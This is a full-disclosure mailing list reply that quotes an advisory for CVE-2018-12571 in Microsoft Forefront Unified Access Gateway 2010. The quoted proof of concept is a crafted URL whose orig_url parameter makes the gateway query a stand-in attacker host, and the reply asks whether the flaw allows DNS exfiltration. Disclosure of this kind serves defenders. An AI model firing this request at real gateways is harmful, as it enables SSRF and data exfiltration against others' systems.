full-disclosure - Re: [FD] Microsoft Forefront Unified Access Gateway 2010 External DNS Interaction

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Message-ID: <bd039ff9-0d56-f5a4-d1de-9f9aa230ad19@zoller.lu>
Date: Thu, 5 Jul 2018 12:48:06 +0200
From: Thierry Zoller <thierry@...ler.lu>
To: fulldisclosure@...lists.org, okancoskun2@...il.com
Subject: Re: [FD] Microsoft Forefront Unified Access Gateway 2010 External
 DNS Interaction

Can this be used to perform DNS exfiltration ? (Assuming the UGW is
whitelisted to perform DNS (which it likely must be)

> # Exploit Title: Microsoft Forefront Unified Access Gateway 2010 External
> DNS Interaction
> # Vendor Homepage: https://www.microsoft.com/
> # Version: 2010
> # CVE : CVE-2018-12571
> # Proof of Concept #1
> 
> Microsoft Forefront Unified Access Gateway 2010 allows remote attackers to
> trigger outbound DNS queries for arbitrary hosts via a comma-separated list
> of URLs in the orig_url parameter, possibly causing a traffic amplification
> and/or SSRF outcome.
> 
> /uniquesig697e96fe58e5694d9b118768d8189a4c/uniquesig0/InternalSite/InitParams.aspx?referrer=/InternalSite/StartApp.asp&resource%5Fid=8B92B86E36904E2FA83C890F8C864A50&login%5Ftype=0&site%5Fname=test&secure=0&URLHASH=47c74c53%2Dfaae%2D41ae%2D89f1%2D1eb6eff34091&*orig%5Furl=http%3A%2F%2FATTACKER.SITE.COM
> <http://2FATTACKER.SITE.COM>%2Ftest*
> 
> # Fixes
> 
> It will not be patched by Microsoft.
> 
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> 

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